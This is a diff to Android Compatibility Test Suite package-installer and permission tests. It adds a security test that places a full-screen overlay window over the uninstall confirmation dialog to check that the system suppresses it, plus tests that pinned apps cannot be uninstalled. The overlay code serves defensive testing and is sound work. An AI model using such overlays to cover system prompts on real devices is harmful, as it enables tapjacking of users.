diff --git a/tests/tests/packageinstaller/uninstall/AndroidManifest.xml b/tests/tests/packageinstaller/uninstall/AndroidManifest.xml
index cfae7b9..a86f03a 100644
--- a/tests/tests/packageinstaller/uninstall/AndroidManifest.xml
+++ b/tests/tests/packageinstaller/uninstall/AndroidManifest.xml
@@ -17,6 +17,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.packageinstaller.uninstall.cts" >
 
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
     <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
 
     <application android:label="Cts Package Uninstaller Tests">
diff --git a/tests/tests/packageinstaller/uninstall/AndroidTest.xml b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
index 9fc0a88..dd98214 100644
--- a/tests/tests/packageinstaller/uninstall/AndroidTest.xml
+++ b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
@@ -31,4 +31,14 @@
         <option name="package" value="android.packageinstaller.uninstall.cts" />
         <option name="runtime-hint" value="1m" />
     </test>
+    <!-- Create place to store apks -->
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/cts/uninstall" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
+    </target_preparer>
+
+    <!-- Load additional APKs onto device -->
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="CtsSelfUninstallingTestApp.apk->/data/local/tmp/cts/uninstall/CtsSelfUninstallingTestApp.apk" />
+    </target_preparer>
 </configuration>
diff --git a/tests/tests/packageinstaller/uninstall/OWNERS b/tests/tests/packageinstaller/uninstall/OWNERS
index 0088192..bf3cfe7 100644
--- a/tests/tests/packageinstaller/uninstall/OWNERS
+++ b/tests/tests/packageinstaller/uninstall/OWNERS
@@ -1,2 +1 @@
 # Bug component: 36137
-moltmann@google.com
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/uninstall/res/layout/overlay_activity.xml b/tests/tests/packageinstaller/uninstall/res/layout/overlay_activity.xml
new file mode 100644
index 0000000..869bf14
--- /dev/null
+++ b/tests/tests/packageinstaller/uninstall/res/layout/overlay_activity.xml
@@ -0,0 +1,30 @@
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+              android:padding="8dp"
+              android:gravity="center">
+
+    <TextView android:id="@+id/overlay_description"
+              android:layout_width="wrap_content"
+              android:layout_height="wrap_content"
+              android:textColor="@android:color/black"
+              android:background="@android:color/white"
+              android:text="This is an overlay" />
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java
new file mode 100644
index 0000000..84c2696
--- /dev/null
+++ b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java
@@ -0,0 +1,164 @@
+/*
+ * Copyright (C) 2020 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.packageinstaller.uninstall.cts;
+
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import static com.android.compatibility.common.util.SystemUtil.eventually;
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+import static com.android.compatibility.common.util.UiAutomatorUtils.waitFindObject;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.ActivityTaskManager;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageManager;
+import android.server.wm.WindowManagerStateHelper;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.AppOpsUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.IOException;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+public class UninstallPinnedTest {
+
+    private static final String APK =
+            "/data/local/tmp/cts/uninstall/CtsSelfUninstallingTestApp.apk";
+    private static final String TEST_PKG_NAME = "android.packageinstaller.selfuninstalling.cts";
+    private static final String TEST_ACTIVITY_NAME = TEST_PKG_NAME + ".SelfUninstallActivity";
+    private static final String ACTION_SELF_UNINSTALL =
+            "android.packageinstaller.selfuninstalling.cts.action.SELF_UNINSTALL";
+    private static final ComponentName COMPONENT = new ComponentName(TEST_PKG_NAME, TEST_ACTIVITY_NAME);
+    public static final String CALLBACK_ACTION =
+            "android.packageinstaller.uninstall.cts.action.UNINSTALL_PINNED_CALLBACK";
+
+    private WindowManagerStateHelper mWmState = new WindowManagerStateHelper();
+    private Context mContext;
+    private UiDevice mUiDevice;
+    private ActivityTaskManager mActivityTaskManager;
+
+    @Before
+    public void setup() throws Exception {
+        mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+        mActivityTaskManager = mContext.getSystemService(ActivityTaskManager.class);
+
+        // Unblock UI
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        if (!mUiDevice.isScreenOn()) {
+            mUiDevice.wakeUp();
+        }
+        mUiDevice.executeShellCommand("wm dismiss-keyguard");
+        AppOpsUtils.reset(mContext.getPackageName());
+
+        runShellCommand("pm install -r --force-queryable " + APK);
+
+        Intent i = new Intent()
+                .setComponent(COMPONENT)
+                .addFlags(FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(i);
+
+        pinActivity(COMPONENT);
+    }
+
+    @Test
+    public void testAppCantUninstallItself() throws Exception {
+        mUiDevice.waitForIdle();
+        eventually(() -> {
+            mContext.sendBroadcast(new Intent(ACTION_SELF_UNINSTALL));
+            waitFindObject(By.text("OK")).click();
+        }, 60000);
+
+        mUiDevice.waitForIdle();
+
+        Thread.sleep(5000);
+
+        assertTrue("Package was uninstalled.", isInstalled());
+    }
+
+    @Test
+    public void testCantUninstallAppDirectly() {
+        CompletableFuture<Integer> statusFuture = new CompletableFuture<>();
+        mContext.registerReceiver(new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                statusFuture.complete(
+                        intent.getIntExtra(PackageInstaller.EXTRA_STATUS, Integer.MAX_VALUE));
+            }
+        }, new IntentFilter(CALLBACK_ACTION));
+
+        runWithShellPermissionIdentity(() -> {
+            mContext.getPackageManager().getPackageInstaller().uninstall(TEST_PKG_NAME,
+                    PendingIntent.getBroadcast(mContext, 1,
+                            new Intent(CALLBACK_ACTION),
+                            0).getIntentSender());
+        });
+
+        int status = statusFuture.join();
+        assertEquals("Wrong code received", PackageInstaller.STATUS_FAILURE_BLOCKED, status);
+        assertTrue("Package was uninstalled.", isInstalled());
+    }
+
+    @Test
+    public void testCantUninstallWithShell() throws Exception {
+        mUiDevice.executeShellCommand("pm uninstall " + TEST_PKG_NAME);
+        assertTrue("Package was uninstalled.", isInstalled());
+    }
+
+    @After
+    public void unpinAndUninstall() throws IOException {
+        runWithShellPermissionIdentity(() -> mActivityTaskManager.stopSystemLockTaskMode());
+        mUiDevice.executeShellCommand("pm uninstall " + TEST_PKG_NAME);
+    }
+
+    private void pinActivity(ComponentName component) {
+        mWmState.computeState();
+
+        int stackId = mWmState.getStackIdByActivity(component);
+
+        runWithShellPermissionIdentity(() -> {
+            mActivityTaskManager.startSystemLockTaskMode(
+                    stackId);
+        });
+    }
+
+    private boolean isInstalled() {
+        try {
+            mContext.getPackageManager().getPackageInfo(TEST_PKG_NAME, 0);
+            return true;
+        } catch (PackageManager.NameNotFoundException e) {
+            return false;
+        }
+    }
+}
diff --git a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
index ca3cb3e..ce7878f 100644
--- a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
+++ b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
@@ -15,24 +15,38 @@
  */
 package android.packageinstaller.uninstall.cts;
 
+import static android.app.AppOpsManager.MODE_ALLOWED;
 import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.graphics.PixelFormat.TRANSLUCENT;
+import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.net.Uri;
+import android.os.Handler;
+import android.os.Looper;
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SecurityTest;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
 import android.support.test.uiautomator.Until;
 import android.util.Log;
+import android.view.Gravity;
 import android.view.KeyEvent;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
@@ -85,14 +99,58 @@
         }
     }
 
-    @Test
-    public void testUninstall() throws Exception {
-        assertTrue(isInstalled());
-
+    private void startUninstall() {
         Intent intent = new Intent(Intent.ACTION_UNINSTALL_PACKAGE);
         intent.setData(Uri.parse("package:" + TEST_APK_PACKAGE_NAME));
         intent.addFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
         mContext.startActivity(intent);
+    }
+
+    @SecurityTest
+    @Test
+    public void overlaysAreSuppressedWhenConfirmingUninstall() throws Exception {
+        AppOpsUtils.setOpMode(mContext.getPackageName(), "SYSTEM_ALERT_WINDOW", MODE_ALLOWED);
+
+        WindowManager windowManager = mContext.getSystemService(WindowManager.class);
+        LayoutParams layoutParams = new LayoutParams(MATCH_PARENT, MATCH_PARENT,
+                TYPE_APPLICATION_OVERLAY, 0, TRANSLUCENT);
+        layoutParams.gravity = Gravity.CENTER_HORIZONTAL | Gravity.CENTER_VERTICAL;
+
+        View[] overlay = new View[1];
+        new Handler(Looper.getMainLooper()).post(() -> {
+            overlay[0] = LayoutInflater.from(mContext).inflate(R.layout.overlay_activity,
+                    null);
+            windowManager.addView(overlay[0], layoutParams);
+        });
+
+        try {
+            mUiDevice.wait(Until.findObject(By.res(mContext.getPackageName(),
+                    "overlay_description")), TIMEOUT_MS);
+
+            startUninstall();
+
+            long start = System.currentTimeMillis();
+            while (System.currentTimeMillis() - start < TIMEOUT_MS) {
+                try {
+                    assertNull(mUiDevice.findObject(By.res(mContext.getPackageName(),
+                            "overlay_description")));
+                    return;
+                } catch (Throwable e) {
+                    Thread.sleep(100);
+                }
+            }
+
+            fail();
+        } finally {
+            windowManager.removeView(overlay[0]);
+        }
+    }
+
+    @Test
+    public void testUninstall() throws Exception {
+        assertTrue(isInstalled());
+
+        startUninstall();
 
         if (mUiDevice.wait(Until.findObject(By.text("Do you want to uninstall this app?")),
                 TIMEOUT_MS) == null) {
diff --git a/tests/tests/packagewatchdog/Android.bp b/tests/tests/packagewatchdog/Android.bp
index 32fa31a..1aaaf7a 100644
--- a/tests/tests/packagewatchdog/Android.bp
+++ b/tests/tests/packagewatchdog/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsPackageWatchdogTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/Android.bp b/tests/tests/permission/Android.bp
index a99565e..06b02c6 100644
--- a/tests/tests/permission/Android.bp
+++ b/tests/tests/permission/Android.bp
@@ -13,6 +13,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 //
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsPermissionTestCases",
     defaults: ["cts_defaults"],
@@ -20,6 +24,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     // Include both the 32 and 64 bit versions
     compile_multilib: "both",
diff --git a/tests/tests/permission/AndroidTest.xml b/tests/tests/permission/AndroidTest.xml
index a49ca3a..a7309c3 100644
--- a/tests/tests/permission/AndroidTest.xml
+++ b/tests/tests/permission/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user"/>
     <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
 
     <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
@@ -61,8 +62,9 @@
         <option name="push" value="CtsVictimPermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsVictimPermissionDefinerApp.apk" />
         <option name="push" value="CtsRuntimePermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsRuntimePermissionDefinerApp.apk" />
         <option name="push" value="CtsRuntimePermissionUserApp.apk->/data/local/tmp/cts/permissions/CtsRuntimePermissionUserApp.apk" />
-        <option name="push" value="CtsInstalltimePermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsInstalltimePermissionDefinerApp.apk" />
-        <option name="push" value="CtsInstalltimePermissionUserApp.apk->/data/local/tmp/cts/permissions/CtsInstalltimePermissionUserApp.apk" />
+        <option name="push" value="CtsInstallPermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsInstallPermissionDefinerApp.apk" />
+        <option name="push" value="CtsInstallPermissionUserApp.apk->/data/local/tmp/cts/permissions/CtsInstallPermissionUserApp.apk" />
+        <option name="push" value="CtsInstallPermissionEscalatorApp.apk->/data/local/tmp/cts/permissions/CtsInstallPermissionEscalatorApp.apk" />
         <option name="push" value="CtsAppThatRequestsOneTimePermission.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsOneTimePermission.apk" />
         <option name="push" value="AppThatDefinesUndefinedPermissionGroupElement.apk->/data/local/tmp/cts/permissions/AppThatDefinesUndefinedPermissionGroupElement.apk" />
     </target_preparer>
diff --git a/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp b/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp
index 1645e8d..168a20b 100644
--- a/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp
+++ b/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppThatRequestsCalendarContactsBodySensorCustomPermission",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
index 4e1272a..ca372c6 100644
--- a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppThatAccessesLocationOnCommand",
     defaults: ["cts_defaults"],
@@ -22,6 +26,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     srcs: [
         "src/**/*.java",
diff --git a/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
index fdff4ae..12d94af 100644
--- a/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
+++ b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "AppThatDefinesUndefinedPermissionGroupElement",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
index 56a8000..a93a23f 100644
--- a/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
+++ b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "AppThatDoesNotHaveBgLocationAccess",
     defaults: ["cts_defaults"],
@@ -22,5 +26,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp b/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp
index f1a436b..872d1e4 100644
--- a/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp
+++ b/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppThatRequestsContactsAndCallLogPermission16",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp b/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp
index f443c41..71189b2 100644
--- a/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp
+++ b/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppThatRequestsContactsPermission15",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp b/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp
index 3716cd2a..5642900 100644
--- a/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp
+++ b/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppThatRequestsContactsPermission16",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp b/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp
index 9902790..ff5df61 100644
--- a/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppThatRequestsLocationAndBackgroundPermission29",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp
index c9187eb..26e7c7a 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppThatRequestsLocationPermission22",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp
index dd5dbc4..6ab35ca 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppThatRequestsLocationPermission28",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp
index 95b1b76..dcfaffe 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppThatRequestsLocationPermission29",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp
index d21fa19..2b5f3d8 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppThatRequestsLocationPermission29v4",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestOneTimePermission/Android.bp b/tests/tests/permission/AppThatRequestOneTimePermission/Android.bp
index 1f8a50a..28f337c 100644
--- a/tests/tests/permission/AppThatRequestOneTimePermission/Android.bp
+++ b/tests/tests/permission/AppThatRequestOneTimePermission/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppThatRequestsOneTimePermission",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp b/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
index fc424ea..1fd6a27 100644
--- a/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
+++ b/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppThatRequestsPermissionAandB",
     defaults: ["cts_defaults"],
@@ -22,6 +26,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     srcs: ["src/**/*.java"],
 }
diff --git a/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp b/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
index d38374f..5c452ba 100644
--- a/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
+++ b/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppThatRequestsPermissionAandC",
     defaults: ["cts_defaults"],
@@ -22,6 +26,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     srcs: ["src/**/*.java"],
 }
diff --git a/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp b/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp
index f791a10..3e27cbe 100644
--- a/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp
+++ b/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppThatRequestsStoragePermission28",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp b/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp
index 82f29e5..745e233 100644
--- a/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp
+++ b/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppThatRequestsStoragePermission29",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRunsRationaleTests/Android.bp b/tests/tests/permission/AppThatRunsRationaleTests/Android.bp
index a4e98ce..251720f 100644
--- a/tests/tests/permission/AppThatRunsRationaleTests/Android.bp
+++ b/tests/tests/permission/AppThatRunsRationaleTests/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppThatRunsRationaleTests",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp
index 9fe607e..a4cab1b 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppWithSharedUidThatRequestsLocationPermission28",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp
index 366fc75..67fbfd9 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppWithSharedUidThatRequestsLocationPermission29",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp
index 36d164b..9f6b2a8 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppWithSharedUidThatRequestsNoPermissions",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp
index bc6072c..501dcbb 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppWithSharedUidThatRequestsPermissions",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/OWNERS b/tests/tests/permission/OWNERS
index a383144..889aae8 100644
--- a/tests/tests/permission/OWNERS
+++ b/tests/tests/permission/OWNERS
@@ -1,9 +1,8 @@
 # Bug component: 137825
-moltmann@google.com
-per-file PowerManagerServicePermissionTest.java = dehboxturtle@google.com
+
+include platform/frameworks/base:/core/java/android/permission/OWNERS
+
 per-file RequestLocation.java = hallliu@google.com
 per-file NoAudioPermissionTest.java = elaurent@google.com
 per-file MainlineNetworkStackPermissionTest.java = file: platform/frameworks/base:/services/net/OWNERS
 per-file Camera2PermissionTest.java = file: platform/frameworks/av:/camera/OWNERS
-per-file OneTimePermissionTest.java, AppThatRequestOneTimePermission/... = evanseverson@google.com
-per-file LocationAccessCheckTest.java = ntmyren@google.com
diff --git a/tests/tests/permission/jni/Android.bp b/tests/tests/permission/jni/Android.bp
index e3a73e0..2bcc068 100644
--- a/tests/tests/permission/jni/Android.bp
+++ b/tests/tests/permission/jni/Android.bp
@@ -12,6 +12,10 @@
